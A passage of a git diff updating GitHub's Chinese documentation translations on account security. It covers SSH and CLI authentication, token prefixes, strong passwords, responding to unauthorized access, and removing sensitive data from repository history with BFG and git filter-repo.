%}除非你使用[凭据小助手](/github/getting-started-with-github/caching-your-github-credentials-in-git)缓存了凭据,否则每次使用 Git 向 {% data variables.product.product_name %} 验证时,系统都会提示你输入凭据以向 {% data variables.product.product_name %} 验证。 ### SSH -You can work with all repositories on {% data variables.product.product_name %} over SSH, although firewalls and proxies might refuse to allow SSH connections. +您可以通过 SSH 处理 {% data variables.product.product_name %} 上的所有仓库,尽管防火墙和代理可能拒绝允许 SSH 连接。 -If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. Then, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). +如果您使用 {% data variables.product.prodname_cli %} 进行身份验证,CLI 会在您的机器上找到 SSH 公共密钥,并提示您选择一个用于上传。 如果 {% data variables.product.prodname_cli %} 找不到用于上传的 SSH 公钥,则可以生成新的 SSH 公钥/私钥对,并将公钥上传到您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。 然后,您可以使用个人访问令牌进行身份验证,也可以通过 Web 浏览器进行身份验证。 有关使用 {% data variables.product.prodname_cli %} 进行身份验证的详细信息,请参阅 [`gh auth login`](https://cli.github.com/manual/gh_auth_login)。 -If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). +如果您在没有 {% data variables.product.prodname_cli %} 的情况下进行身份验证,则需要在本地计算机上生成 SSH 公钥/私钥对,并将公钥添加到您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。 有关详细信息,请参阅“[生成新的 SSH 密钥并将其添加到 ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 除非你已[存储密钥](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent),否则每次使用 Git 向 {% data variables.product.product_name %} 进行身份验证时,系统都会提示你输入 SSH 密钥密码。 {% ifversion fpt or ghec %} -### Authorizing for SAML single sign-on +### SAML 单点登录授权 -To use a {% data variables.product.pat_generic %} or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} +若要使用个人访问令牌或 SSH 密钥访问由使用 SAML 单一登录的组织所拥有的资源,还必须授权个人令牌或 SSH 密钥。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[授权个人访问令牌以用于 SAML 单一登录](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)”或“[授权 SSH 密钥以用于 SAML 单一登录](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}”。{% else %}."{% endif %}{% endif %} -## {% data variables.product.company_short %}'s token formats +## {% data variables.product.company_short %} 的令牌格式 -{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type. +以前缀开头的 {% data variables.product.company_short %} 议题令牌表示令牌的类型。 -| Token type | Prefix | More information | +| 令牌类型 | 前缀 | 详细信息 | | :- | :- | :- | -| {% data variables.product.pat_v1_caps %} | `ghp_` | {% ifversion pat-v2 %}"[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token#creating-a-personal-access-token-classic)"{% else %}"[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)"{% endif %} |{% ifversion pat-v2 %} -| {% data variables.product.pat_v2_caps %} | `github_pat_` | "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token)" |{% endif %} -| OAuth access token | `gho_` | "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" | -| User-to-server token for a {% data variables.product.prodname_github_app %} | `ghu_` | "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" | -| Server-to-server token for a {% data variables.product.prodname_github_app %} | `ghs_` | "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" | -| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)" | +| 个人访问令牌 | `ghp_` | “[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)” | +| OAuth 访问令牌 | `gho_` | “[授权 {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)” | +| {% data variables.product.prodname_github_app %} 的用户到服务器令牌 | `ghu_` | “[针对 {% data variables.product.prodname_github_apps %} 识别和授权用户](/developers/apps/identifying-and-authorizing-users-for-github-apps)” | +| {% data variables.product.prodname_github_app %} 的服务器到服务器令牌 | `ghs_` | “[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)” | +| {% data variables.product.prodname_github_app %} 的刷新令牌 | `ghr_` | “[刷新用户到服务器访问令牌](/developers/apps/refreshing-user-to-server-access-tokens)” | diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md index 758beda311..113af7ff12 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md @@ -1,6 +1,6 @@ --- -title: Creating a strong password -intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} with a strong and unique password using a password manager.' +title: 创建强密码 +intro: '使用密码管理器以强大而唯一的密码保护您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。' redirect_from: - /articles/what-is-a-strong-password - /articles/creating-a-strong-password @@ -14,25 +14,31 @@ topics: - Identity - Access management shortTitle: Create a strong password +ms.openlocfilehash: 97473f9b04c8d033471f89cac9a0b0d08bebcba3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145084655' --- -You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} that is at least: -- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or -- 15 characters long with any combination of characters +您必须在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上为您的帐户选择或生成一个密码,该密码至少是: +- {% ifversion ghes %}七{% else %}八{% endif %}个字符且包含数字和小写字母,或 +- 至少 15 个字符,任意字符组合 -To keep your account secure, we recommend you follow these best practices: -- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters. -- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. +为确保您的帐户安全,我们建议您遵循以下最佳实践: +- 使用密码管理器(例如 [LastPass](https://lastpass.com/) 或 [1Password](https://1password.com/))生成至少 15 个字符的密码。 +- 为 {% data variables.product.product_name %} 生成唯一的密码。 如果您在其他地方使用 {% data variables.product.product_name %} 密码,并且该服务遭到入侵,则攻击者或其他恶意行为者可能会使用该信息访问您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。 -- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)." -- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)." +- 为您的帐户配置双重身份验证。 有关详细信息,请参阅[关于双因素身份验证](/articles/about-two-factor-authentication)。 +- 不与任何人分享您的密码,即使是潜在协作者。 在 {% data variables.product.product_name %} 上每个人都应使用自己的个人帐户。 有关协作方式的详细信息,请参阅:“[邀请协作者加入个人存储库](/articles/inviting-collaborators-to-a-personal-repository)”、“[关于协作开发模型](/articles/about-collaborative-development-models/)”或“[与组织中的团体协作](/organizations/collaborating-with-groups-in-organizations/)。” {% data reusables.repositories.blocked-passwords %} -You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." +您只能使用密码通过浏览器登录 {% data variables.product.product_name %}。 使用其他方式(例如命令行或 API)向 {% data variables.product.product_name %} 验证时,应使用其他凭据。 有关详细信息,请参阅“[关于对 {% data variables.product.prodname_dotcom %} 的身份验证](/github/authenticating-to-github/about-authentication-to-github)”。 {% ifversion fpt or ghec %}{% data reusables.user-settings.password-authentication-deprecation %}{% endif %} -## Further reading +## 延伸阅读 -- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" -- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)" +- [在 Git 中缓存 {% data variables.product.product_name %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git/) +- [保护帐户和数据安全](/articles/keeping-your-account-and-data-secure/) diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md index a0bcd546ee..5e9e3a0692 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md @@ -1,6 +1,6 @@ --- -title: Preventing unauthorized access -intro: 'You may be alerted to a security incident in the media, such as the discovery of the [Heartbleed bug](http://heartbleed.com/), or your computer could be stolen while you''re signed in to {% data variables.location.product_location %}. In such cases, changing your password prevents any unintended future access to your account and projects.' +title: 防止未授权的访问 +intro: '在登录 {% data variables.product.product_location %} 时,你可能会收到媒体中安全事件的警报,如发现 [Heartbleed bug](http://heartbleed.com/) 或计算机被盗。 在这种情况下,更改密码可防止后面对您的帐户和项目的任何非预期访问。' redirect_from: - /articles/preventing-unauthorized-access - /github/authenticating-to-github/preventing-unauthorized-access @@ -13,18 +13,24 @@ topics: - Identity - Access management shortTitle: Unauthorized access +ms.openlocfilehash: 2b7a29ad3df05ef758c82330f24fe7568e137130 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084651' --- -{% data variables.product.product_name %} requires a password to perform sensitive actions, such as adding new SSH keys, authorizing applications, or modifying team members. +{% data variables.product.product_name %} 需要密码来执行敏感的操作,如新增 SSH 密钥、授权应用程序或修改团队成员。 -After changing your password, you should perform these actions to make sure that your account is secure: +在更改密码后,应执行以下操作,以确保您的帐户安全: -- [Enable two-factor authentication](/articles/about-two-factor-authentication) on your account so that access requires more than just a password. -- [Review your SSH keys](/articles/reviewing-your-ssh-keys), [deploy keys](/articles/reviewing-your-deploy-keys), and [authorized integrations](/articles/reviewing-your-authorized-integrations) and revoke unauthorized or unfamiliar access in your SSH and Applications settings. +- 在帐户上[启用双因素身份验证](/articles/about-two-factor-authentication),以便访问时不止需要提供密码。 +- [查看 SSH 密钥](/articles/reviewing-your-ssh-keys)、[部署密钥](/articles/reviewing-your-deploy-keys)和[授权集成](/articles/reviewing-your-authorized-integrations),并在 SSH 和应用程序设置中撤销未经授权的或不熟悉的访问权限。 {% ifversion fpt or ghec %} -- [Verify all your email addresses](/articles/verifying-your-email-address). If an attacker added their email address to your account, it could allow them to force an unintended password reset. +- [验证所有电子邮件地址](/articles/verifying-your-email-address)。 如果攻击者在您的帐户中添加了他们的电子邮件地址,他们可能实施非预期的密码重置。 {% endif %} -- [Review your account's security log](/github/authenticating-to-github/reviewing-your-security-log). This provides an overview on various configurations made to your repositories. For example, you can ensure that no private repositories were turned public, or that no repositories were transferred. -- [Review the webhooks](/articles/creating-webhooks) on your repositories. Webhooks could allow an attacker to intercept pushes made to your repository. -- [Make sure that no new deploy keys](/guides/managing-deploy-keys/#deploy-keys) were created. This could enable outside servers access to your projects. -- Review recent commits made to your repositories. -- Review the list of collaborators for each repository. +- [查看帐户的安全日志](/github/authenticating-to-github/reviewing-your-security-log)。 其中概述了您的仓库的各种配置。 例如,您可以确保没有私有仓库改为公共,或没有仓库被转让。 +- 查看存储库上的 [Webhook](/articles/creating-webhooks)。 Web 挂钩可能允许攻击者拦截到仓库的推送。 +- [确保未创建新的部署密钥](/guides/managing-deploy-keys/#deploy-keys)。 这可能允许外部服务器访问您的项目。 +- 检查最近对仓库的提交。 +- 检查每个仓库的协作者列表。 diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md index 1f4dc55b3f..1ada04e306 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md @@ -1,6 +1,6 @@ --- -title: Removing sensitive data from a repository -intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.' +title: 从存储库中删除敏感数据 +intro: 如果将敏感数据(例如密码或 SSH 密钥)提交到 Git 仓库,您可以将其从历史记录中删除。 要从存储库的历史记录中彻底删除不需要的文件,可以使用 `git filter-repo` 工具或 BFG Repo-Cleaner 开放源代码工具。 redirect_from: - /remove-sensitive-data - /removing-sensitive-data @@ -17,86 +17,88 @@ topics: - Identity - Access management shortTitle: Remove sensitive data +ms.openlocfilehash: 4c93f372f1d537fd94f06e66986e53d6641923d2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084649' --- -The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository. +`git filter-repo` 工具和 BFG Repo-Cleaner 将重写存储库的历史记录,这将更改你更改的现有提交的 SHA,以及任何相关的提交。 更改的提交 SHA 可能会影响存储库中未完结的拉取请求。 我们建议在从存储库中删除文件之前合并或关闭所有未完结的拉取请求。 -You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)." +可以使用 `git rm` 从最新提交中删除文件。 有关删除在最新提交中添加的文件的信息,请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的大型文件](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)。” {% warning %} -**Warning**: This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. However, those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. +警告:本文说明如何使用无法从 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上存储库中的任何分支或标记访问的敏感数据进行提交。 但是,这些提交在你存储库的任何克隆或分支中、直接通过 {% data variables.product.product_name %} 上缓存视图中其 SHA-1 哈希以及通过引用它们的任何拉取请求可能仍然可访问。 您无法从仓库的其他用户的克隆或复刻删除敏感数据,但您可以通过联系 {% data variables.contact.contact_support %},永久删除 {% data variables.product.product_name %} 上拉取请求中敏感数据的缓存视图和引用。 -If the commit that introduced the sensitive data exists in any forks of your repository, it will continue to be accessible, unless the fork owner removes the sensitive data from their fork or deletes the fork entirely. - -Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised. If you have committed a password, you should change it. If you have committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. - -Consider these limitations in your decision to rewrite your repository's history. +将提交推送到 {% data variables.product.product_name %} 后,应将提交中的所有敏感数据视为泄露。 如果你提交了密码,请更改密码! 如果您提交了密钥,请生成新密钥。 删除泄露的数据并不能解决其初始暴露问题,尤其是在仓库的现有克隆或复刻中。 在重写仓库历史记录的决定中考虑这些限制。 {% endwarning %} -## Purging a file from your repository's history +## 从仓库的历史记录中清除文件 -You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool. +你可以使用 `git filter-repo` 工具或 BFG Repo-Cleaner 开源工具从存储库的历史记录中清除文件。 -### Using the BFG +### 使用 BFG -The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. +[BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) 是由开源社区生成和维护的工具。 它提供了一种可替代 `git filter-branch` 的更快、更简单的方法,用于删除不需要的数据。 -For example, to remove your file with sensitive data and leave your latest commit untouched, run: +例如,要删除包含敏感数据的文件并保持最新提交不变,请运行: ```shell -$ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA +$ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA ``` -To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run: +要替换可以在存储库的历史记录中找到的 `passwords.txt` 列出的所有文本,请运行: ```shell $ bfg --replace-text passwords.txt ``` -After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on. +删除敏感数据后,必须强制将更改推送到 {% data variables.product.product_name %}。 强制推送会重写存储库历史记录,这会从提交历史记录中删除敏感数据。 如果强制推送,它可能会覆盖其他人基于其工作的提交。 ```shell $ git push --force ``` -See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions. +有关完整的使用情况和下载说明,请参阅 [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) 的文档。 -### Using git filter-repo +### 使用 git filter-repo {% warning %} -**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). +**警告:** 如果在储藏更改之后运行 `git filter-repo`,则无法使用其他储藏命令检索更改。 在运行 `git filter-repo` 之前,建议取消储藏所做的任何更改。 要取消储藏你已储藏的最后一组更改,请运行 `git stash show -p | git apply -R`。 有关详细信息,请参阅 [Git 工具 - 储藏和清理](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning)。 {% endwarning %} -To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not accidentally re-committed. +为了说明 `git filter-repo` 的工作原理,我们将向你展示如何从存储库的历史记录中删除包含敏感数据的文件,并将其添加到 `.gitignore`,以确保不会意外地重新提交。 -1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command. +1. 安装 [git filter-repo](https://github.com/newren/git-filter-repo) 工具的最新版本。 可以手动安装 `git-filter-repo`,也可以使用包管理器安装。 例如,若使用 HomeBrew 安装工具,请使用 `brew install` 命令。 ``` brew install git-filter-repo ``` - For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository. + 有关详细信息,请参阅 `newren/git-filter-repo` 存储库中的 [INSTALL.md](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md)。 -2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer. +2. 如果存储库的本地副本的历史记录中没有敏感数据,请[将存储库克隆到本地计算机](/articles/cloning-a-repository/)。 ```shell - $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY - > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/ + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY + > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/ > remote: Counting objects: 1301, done. > remote: Compressing objects: 100% (769/769), done. > remote: Total 1301 (delta 724), reused 910 (delta 522) > Receiving objects: 100% (1301/1301), 164.39 KiB, done. > Resolving deltas: 100% (724/724), done. ``` -3. Navigate into the repository's working directory. +3. 导航到存储库的工作目录。 ```shell - $ cd YOUR-REPOSITORY + $ cd YOUR-REPOSITORY ``` -4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will: - - Force Git to process, but not check out, the entire history of every branch and tag - - Remove the specified file, as well as any empty commits generated as a result - - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later. - - **Overwrite your existing tags** +4. 运行以下命令,将 `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` 替换为要删除的文件的路径,而不只是其文件名。 这些参数将: + - 强制 Git 处理(而不是签出)每个分支和标记的整个历史记录 + - 删除指定的文件,以及作为结果生成的任何空提交 + - 删除存储在 .git/config 文件中的某些配置,例如远程 URL。 你可能需要提前备份此文件,以便稍后还原。 + - **覆盖现有标记** ```shell $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA Parsed 197 commits @@ -114,21 +116,21 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil {% note %} - **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well. + **注意:** 如果包含敏感数据的文件以前存在于任何其他路径(因为它被移动或重命名),则也必须在这些路径上运行此命令。 {% endnote %} -5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again. +5. 将包含敏感数据的文件添加到 `.gitignore`,以确保不会意外地再次提交。 ```shell - $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore + $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore $ git add .gitignore - $ git commit -m "Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore" - > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore + $ git commit -m "Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore" + > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore > 1 files changed, 1 insertions(+), 0 deletions(-) ``` -6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out. -7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history. +6. 仔细检查是否已从存储库的历史记录中删除了所需的所有内容,并且已签出所有分支。 +7. 在对存储库的状态感到满意,请强制推送本地更改以覆盖 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}上的存储库,以及您向上推送的所有分支。 需要强制推送才能从提交历史记录中删除敏感数据。 ```shell $ git push origin --force --all > Counting objects: 1074, done. @@ -136,10 +138,10 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil > Compressing objects: 100% (677/677), done. > Writing objects: 100% (1058/1058), 148.85 KiB, done. > Total 1058 (delta 590), reused 602 (delta 378) - > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME.YOUR-REPOSITORY.git + > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git > + 48dc599...051452f main -> main (forced update) ``` -8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags: +8. 要从[标记版本](/articles/about-releases)删除敏感文件,还需要针对 Git 标记强制推送: ```shell $ git push origin --force --tags > Counting objects: 321, done. @@ -147,19 +149,19 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil > Compressing objects: 100% (166/166), done. > Writing objects: 100% (321/321), 331.74 KiB | 0 bytes/s, done. > Total 321 (delta 124), reused 269 (delta 108) - > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git + > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git > + 48dc599...051452f main -> main (forced update) ``` -## Fully removing the data from {% data variables.product.prodname_dotcom %} +## 完全从 {% data variables.product.prodname_dotcom %} 中删除数据 -After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}. +在使用 BFG 工具或 `git filter-repo` 删除敏感数据并将更改推送到 {% data variables.product.product_name %} 后,你必须再采取一些步骤,以完全从 {% data variables.product.product_name %} 中删除数据。 -1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed.{% ifversion ghes %} For more information about how site administrators can remove unreachable Git objects, see "[Command line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repo-gc)."{% endif %} +1. 联系 {% data variables.contact.contact_support %},请求他们删除 {% data variables.product.product_name %} 上拉取请求中敏感数据的缓存视图和引用。 请提供存储库的名称和/或指向需要删除的提交的链接。{% ifversion ghes %} 有关站点管理员如何删除无法访问的 Git 对象,请参阅“[命令行实用程序](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repo-gc)”。{% endif %} -2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging. +2. 告知协作者对根据旧式(受损)存储库历史记录创建的所有分支进行[变基](https://git-scm.com/book/en/Git-Branching-Rebasing),而不是合并。 一次合并提交可能会重新引入您刚刚遇到清除问题的部分或全部污染的历史记录。 -3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer): +3. 经过一段时间并且确信 BFG 工具 / `git filter-repo` 没有任何意外的副作用后,你可以通过以下命令(使用 Git 1.8.5 或更新版本)强制取消引用本地存储库中的所有对象并进行垃圾回收: ```shell $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin $ git reflog expire --expire=now --all @@ -172,21 +174,21 @@ After using either the BFG tool or `git filter-repo` to remove the sensitive dat ``` {% note %} - **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}. + **注意:** 你也可以通过以下方法实现此目的:将筛选的历史记录推送到新的或空的存储库,然后从 {% data variables.product.product_name %} 进行全新克隆。 {% endnote %} -## Avoiding accidental commits in the future +## 避免将来的意外提交 -There are a few simple tricks to avoid committing things you don't want committed: +有一些简单的技巧可避免提交您不想要提交的内容: -- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit. -- Avoid the 